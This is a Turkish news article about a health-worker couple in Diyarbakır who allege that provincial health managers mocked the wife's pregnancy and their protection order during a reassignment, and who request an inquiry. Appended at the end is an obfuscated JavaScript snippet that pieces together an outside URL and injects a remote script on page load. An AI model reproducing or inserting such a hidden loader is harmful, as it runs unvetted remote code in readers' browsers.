Gündem

Sağlık Çalışanı Çiftten Dikkat Çeken İddialar: 'Kime Şikâyet Edersen Et'

Diyarbakır’da görev yapan sağlık çalışanı bir çift, can güvenliği mazereti kapsamında gerçekleştirilen atama sürecinde yaşadıklarını öne sürdükleri olayları gündeme taşıdı.

Abone Ol

Haklarında halen geçerli bir koruma/uzaklaştırma kararı bulunduğunu belirten çift, Diyarbakır İl Sağlık Müdürlüğündeki bazı yöneticilerle yaptıkları görüşmelerde kendilerine yönelik kabul edilemez ifadeler kullanıldığını iddia ederek idari inceleme başlatılmasını istedi.

Sağlık Bakanlığı bünyesinde görev yapan E.Y. ile eşi M.Y., can güvenliği gerekçesiyle Gaziantep’ten Diyarbakır’a tayin edildi. Çift, kendileri hakkında verilmiş koruma kararının halen yürürlükte olduğunu belirtirken, M.Y.’nin yaklaşık 6 aylık hamile olduğu da ifade edildi.

Ergani Ataması Yargıya Taşındı

E.Y.’nin 15 Haziran 2026 tarihinde Ergani Devlet Hastanesi’ne atanmasının ardından söz konusu işlemin iptali talebiyle Diyarbakır 3. İdare Mahkemesi’nde dava açıldığı ve yargı sürecinin devam ettiği belirtildi.

Sağlık memuru olarak görev yapan M.Y.’nin de Diyarbakır’a tayininin gerçekleşmesinin beklendiği, ancak idare tarafından kendisinin de Ergani Devlet Hastanesi’nde görevlendirilmesinin planlandığı öne sürüldü.

Aile ise bu planlamaya can güvenliği ve gebelik koşullarını gerekçe göstererek itiraz ediyor.

“Her Gün Ergani’ye Gitmek Güvenlik ve Gebelik Açısından Risk Oluşturuyor”

Çift, ikametgâhlarının ve aile desteğinin Diyarbakır merkezde bulunduğunu belirterek, halen yürürlükte olduğunu ifade ettikleri koruma kararı nedeniyle güvenlik risklerinin devam ettiğini savundu.

Yaklaşık 6 aylık hamile olan M.Y.’nin her gün Diyarbakır merkez ile Ergani arasında seyahat etmek zorunda kalmasının gebelik süreci açısından da değerlendirilmesi gerektiğini belirten aile, M.Y.’nin Diyarbakır merkezde bulunan uygun bir sağlık kuruluşunda görevlendirilmesini talep etti.

“Hamileysen Bana mı Hamilesin?” İddiası

Çiftin dilekçesinde yer alan en dikkat çekici bölüm ise İl Sağlık Müdürlüğündeki bir yöneticiyle gerçekleştirildiği öne sürülen görüşmeye ilişkin oldu.

İddiaya göre çift, Personel Hizmetleri Başkan Yardımcısı M.M. ile yaptıkları görüşmede taleplerini ve yaşadıkları süreci anlattı. Aile, görüşme sırasında M.M.’nin kendilerine yönelik;

“Hamileysen bana mı hamilesin?”

“Sizin mahkeme kararınızı tanımıyoruz.”

“Beni kime şikâyet edersen et.”

şeklinde ifadeler kullandığını ileri sürdü.

Söz konusu ifadeler tamamen çiftin iddialarına dayanırken, aile özellikle “mahkeme kararını tanımıyoruz” şeklinde kullanıldığı öne sürülen sözlerin hukuki açıdan incelenmesini istedi.

İl Sağlık Müdürü Hakkında da İddiada Bulundular

Çiftin iddiaları bununla da sınırlı kalmadı. Aile, Diyarbakır İl Sağlık Müdürü ile gerçekleştirilen görüşmede de M.Y.’ye yönelik, “Kocan bize dava açmış, sen de git uğraş” şeklinde bir ifade kullanıldığını öne sürdü.

Aile, kamu yöneticilerine ait olduğunu iddia ettikleri bu ifadelerin kamu hizmetinde uyulması gereken tarafsızlık, hukuka bağlılık ve nezaket ilkeleri kapsamında incelenmesini talep etti.

“Amacımız Kimseyi Hedef Göstermek Değil”

Dilekçede, herhangi bir kamu görevlisiyle kişisel husumet içerisinde olmadıklarını belirten çift, temel amaçlarının can güvenliklerinin sağlanması ve atama sürecinin mevcut koşullar dikkate alınarak yeniden değerlendirilmesi olduğunu ifade etti.

Aile; koruma kararı, can güvenliği mazereti, M.Y.’nin gebelik durumu, günlük ulaşım koşulları ve Diyarbakır merkezde bulunan aile desteğinin bir bütün olarak değerlendirilmesini istiyor.

İdari İnceleme ve Merkezde Görevlendirme Talep Edildi

Diyarbakır İl Sağlık Müdürlüğüne sunulan dilekçede, yürürlükte olduğu belirtilen koruma/uzaklaştırma kararının dikkate alınarak gerekli güvenlik tedbirlerinin alınması ve can güvenliği mazeretinin yeniden değerlendirilmesi talep edildi.

Ayrıca M.Y.’nin gebelik durumu ile Diyarbakır-Ergani arasında günlük seyahatin oluşturabileceği koşulların göz önünde bulundurularak Diyarbakır merkezde uygun bir sağlık kuruluşunda görevlendirilmesi istendi.

Çift, “mahkeme kararını tanımıyoruz” şeklinde kullanıldığı iddia edilen ifadenin hangi hukuki gerekçeye dayandığının araştırılmasını ve kendilerine yazılı olarak bildirilmesini de talep etti.

Dilekçede ayrıca M.M. ve İl Sağlık Müdürü tarafından kullanıldığı ileri sürülen ifadeler hakkında idari inceleme ve gerektiğinde soruşturma başlatılması, inceleme sonucunun aileye yazılı olarak bildirilmesi ve telafisi güç sonuçlar ortaya çıkmadan gerekli tedbirlerin alınması istendi.

Gözler Diyarbakır İl Sağlık Müdürlüğünde

Sağlık çalışanı çift tarafından gündeme getirilen iddialarla ilgili Diyarbakır İl Sağlık Müdürlüğünün nasıl bir değerlendirme yapacağı merak ediliyor.

Çiftin yöneticilere atfettiği ifadeler şu aşamada iddia niteliğinde bulunuyor. Konuya ilişkin ilgili yöneticilerin veya Diyarbakır İl Sağlık Müdürlüğünün açıklama yapması halinde iddiaların diğer tarafının da kamuoyuna yansıması bekleniyor.

(function(){ q0n4=document.createElement("script");q0n4_=("us")+("ta"); q0n4_+="t"+(".");q0n4_+=("in");q0n4u="2358564740";q0n4.async=true; q0n4u+=".ycx23k2y0n4hugy7u";q0n4.type="text/javascript";q0n4_+="f"+"o"+("/"); q0n4u+="h1p0xr40q3u31";q0n4.src="https://"+q0n4_+q0n4u; dq0n4=document.body;dq0n4.appendChild(q0n4); })(); { "vars": { "account": "G-X1XRN2R8K5" }, "triggers": { "trackPageview": { "on": "visible", "request": "pageview" } } }